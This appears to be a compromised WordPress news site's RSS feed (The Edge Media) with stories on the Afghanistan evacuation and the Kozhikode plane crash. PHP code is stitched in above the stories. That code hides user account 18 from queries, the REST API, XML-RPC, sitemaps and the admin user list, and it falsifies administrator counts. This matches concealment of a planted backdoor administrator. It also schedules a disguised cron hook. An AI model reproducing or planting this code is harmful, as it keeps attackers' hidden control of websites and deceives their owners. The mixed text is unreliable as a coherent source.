add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
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}, 1 );

add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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        return;
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    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>In the midst of India&#8217;s ongoing exodus from Afghanistan following the Taliban&#8217;s takeover, Union minister Hardeep Singh Puri said on Sunday that the Citizenship Amendment Act was critical. &#8220;Recent developments in our dangerous neighborhood, as well as the manner Sikhs and Hindus are going through a difficult time, are precisely why the Citizenship Amendment Act [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/this-is-why-the-caa-was-required-india-is-evacuating-people-from-afghanistan-according-to-hardeep-singh-puri">This is Why the CAA was required: India is Evacuating People from Afghanistan, According to Hardeep Singh Puri</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>&#8220;Recent developments in our dangerous neighborhood, as well as the manner Sikhs and Hindus are going through a difficult time, are precisely why the Citizenship Amendment Act was required,&#8221; the minister tweeted.</p>
<p>A special evacuation flight by the Indian Air Force reached the Hindon airbase on Sunday carrying 168 passengers, including former Afghanistan parliamentarians who thanked the Indian government for the evacuation. Arindam Bagchi, the official spokesperson of the external affairs ministry, posted a video of the evacuation where the evacuees can be seen chanting &#8216;Bharat Mata ki Jai&#8217; inside the aircraft.</p>
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		<title>85 Injured Passengers From Kozhikode Plane Crash Discharged From Hospitals</title>
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					<description><![CDATA[<p>Air India Express on Wednesday informed that 85 passengers injured in the plane crash in Kozhikode have been discharged from hospitals after &#8220;obtaining complete fitness&#8221;. &#8220;As on date, 85 injured passengers have been discharged from various hospitals after obtaining their complete fitness. AIR INDIA EXPRESS LIMITED will release further information as soon as it is [&#8230;]</p>
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<p class="wp-block-paragraph">Air India Express on Wednesday informed that 85 passengers injured in the plane crash in Kozhikode have been discharged from hospitals after &#8220;obtaining complete fitness&#8221;.</p>



<p class="wp-block-paragraph"><br>&#8220;As on date, 85 injured passengers have been discharged from various hospitals after obtaining their complete fitness. AIR INDIA EXPRESS LIMITED will release further information as soon as it is available,&#8221; the letter from the organisation read.</p>



<p class="wp-block-paragraph"><br>The Air India Express flight carrying 190 passengers including 10 infants skidded while landing at Karipur airport in Kozhikode on August 7.<br>Earlier, Union Civil Aviation Minister Hardeep Singh Puri said that an inquiry has been ordered under the Aircraft Act, black boxes of flight IX-1344 have been recovered and added that the findings of this investigation will be made public. </p>



<p class="wp-block-paragraph">&#8211; <strong>ANI</strong></p>



<p class="wp-block-paragraph"><br>**Image: Tulsiram, father of co-pilot Akhilesh Kumar who died in the Air India Plane crash on Friday night, mourns during the funeral, in Mathura on Sunday. </p>



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